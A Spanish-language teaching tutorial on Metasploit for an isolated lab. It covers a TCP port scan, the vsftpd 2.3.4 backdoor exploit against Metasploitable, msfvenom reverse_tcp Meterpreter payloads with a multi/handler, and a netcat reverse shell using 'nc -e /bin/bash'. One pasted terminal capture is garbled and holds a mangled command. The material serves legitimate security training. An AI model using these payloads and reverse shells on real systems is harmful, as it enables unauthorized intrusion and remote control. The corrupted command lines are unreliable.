Metasploit — versión simplificada y corregida

1) ¿Qué es Metasploit? (versión corta)

Metasploit Framework es una plataforma para pruebas de penetración que centraliza exploits, payloads, módulos auxiliares y herramientas post-explotación. Viene preinstalado en Kali y se usa en entornos de aprendizaje y auditoría autorizada.

2) Componentes clave (muy breve)

- Exploit: aprovecha una vulnerabilidad.
- Payload: lo que se ejecuta en la víctima (shell, meterpreter...).
- Auxiliar: escáneres, fuzzers, etc.
- Post: comandos para después de obtener acceso.
- msfvenom: generador de payloads.

3) Ejercicios simplificados (3 ejercicios)

Ejercicio A — Escaneo rápido de puertos (método Metasploit)

Objetivo: detectar puertos abiertos con un módulo auxiliar.

1. Inicia Metasploit en Kali:

```
sudo msfdb init # (si no está inicializado)
msfconsole
```

2. Carga el módulo de escaneo TCP:

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.101
```

set THREAuse auxiliary/scanner/portscan/tcpDS 10

run

```
Session Actions Edit View Help
  -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf > use auxiliary/scanner/portscan/tcp
<u>msf</u> auxiliary(
                                       > set RHOSTS 192.168.0.121
msf auxiliary(
RHOSTS \Rightarrow 192.168.0.121
msf auxiliary(
                                in/tcp) > set THREAuse auxiliary/scanner/portscan
Unknown datastore option: THREAuse. Did you mean THREADS?
THREAuse ⇒ auxiliary/scanner/portscan/tcpDS 10
<u>msf</u> auxiliary(<mark>scanno</mark>
^C<mark>[*]</mark> 192.168.0.121
                                    p) > run
                               - Caught interrupt from the console...
* Auxiliary module execution completed
msf auxiliary(
                                      ) > set RHOSTS 192.168.0.94
RHOSTS \Rightarrow 192.168.0.94
msf auxiliary(
```

3. Resultado esperado: lista de puertos abiertos (ej. 22/tcp open ssh, 80/tcp open http).

Notas:

- RHOSTS puede ser un rango 192.168.56.0/24.
- Si quieres más precisión, usa nmap fuera de msf: nmap -sS -p- 192.168.0.121

Ejercicio B — Exploit sencillo (ejemplo histórico y seguro: laboratorio)

Objetivo: cargar un exploit en un entorno vulnerable (Metasploitable/DVWA).

- 1. Arranca la VM vulnerable (por ejemplo Metasploitable2).
- 2. En Kali:

msfconsole

3. Busca un exploit (ejemplo genérico):

search vsftpd

4. Si usas uno encontrado (ej. exploit/unix/ftp/vsftpd 234 backdoor), configúralo:

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOST 192.168.56.102

set RPORT 21

set PAYLOAD cmd/unix/interact # ejemplo según exploit

run

5. Resultado esperado: si la VM es vulnerable, conseguirás una shell o interacción. **Corrección importante:** los exploits reales requieren *que el servicio y la versión sean exactamente vulnerables*. Si no funciona, es normal: revisa versión/servicio, puertos, cortafuegos y compatibilidad del payload.

Ejercicio C — Reverse shell con msfvenom y handler (muy directo)

Objetivo (en palabras sencillas)

Crear un programa malévolo controlado (**payload**) que, al ejecutarse en la máquina víctima, abra una conexión de vuelta hacia tu Kali. En Kali levantamos un **handler** (escuchador) que acepta esa conexión y nos da una **Meterpreter/reverse shell** para interactuar con la máquina víctima. Todo en un entorno controlado — **nunca** fuera del laboratorio.

Conceptos clave (rápido)

- Payload: el programa que se ejecuta en la víctima y abre la conexión de vuelta.
- Handler: el servicio en Kali que escucha la conexión entrante del payload.
- LHOST: IP de tu Kali (la que la víctima puede alcanzar).
- LPORT: puerto por el que se establecerá la conexión.
- Meterpreter: un tipo de shell potente que ofrece Metasploit (más útil que una shell simple).

• Arquitectura: 32-bit (x86) o 64-bit (x64). Debe coincidir con la víctima

En Kali — paso 1: generar payload (elige arquitectura correcta)

Para Linux x86 (32-bit):

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o shell.elf

Para Linux x86_64 (64-bit):

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o shell64.elf

Paso 2: prepara el handler en Metasploit

msfconsole

use exploit/multi/handler

set PAYLOAD linux/x64/meterpreter/reverse_tcp # o linux/x86/... según lo que generaste

set LHOST 192.168.56.1

set LPORT 4444

set ExitOnSession false

run -j # ejecuta en background (jobs) para poder seguir usando msfconsole

Paso 3: en la VM objetivo

Copia el shell.elf a la VM (SCP, shared folder, etc.), dale permisos y ejecútalo:

chmod +x shell.elf

./shell.elf

Resultado esperado: en msfconsole verás una sesión Meterpreter abierta (session -i <id> para interactuar). Si no aparece, comprueba: LHOST (dirección accesible desde la víctima), LPORT, firewall, arquitectura del binario y permisos.

Alternativa simple (sin meterpreter): generar un reverse netcat para pruebas:

En la víctima (si tiene nc):

nc -e /bin/bash 192.168.56.1 4444

Y en Kali:

nc -lvnp 4444

4) Fallos comunes y soluciones rápidas

- msfconsole no arranca o módulos faltan: sudo msfdb init y actualizar sudo apt update && sudo apt install metasploit-framework.
- **Listener no recibe sesiones:** revisar que LHOST sea la IP de Kali visible por la víctima (no 127.0.0.1), y que no haya firewall bloqueando el puerto.
- Payload no ejecuta: comprobar arquitectura (x86 vs x64), permisos chmod +x, y dependencias en la VM.
- **Exploit falla:** verificar que la versión del servicio sea la vulnerable (p. ej. vsftpd 2.3.4). Usa nmap -sV o banner grab para confirmar versión.

5) Sugerencias para clase / documentación

- Pide a los alumnos que **documenten cada comando** y que hagan capturas de pantalla de:
 - o salida del escaneo,
 - o configuración del exploit/handler,
 - o sesión obtenida.
- Usa VMs aisladas (Network: Host-only o NAT con red interna) y snapshots para restaurar el estado.
- Empieza con ejercicios de **escaneo** antes de la explotación.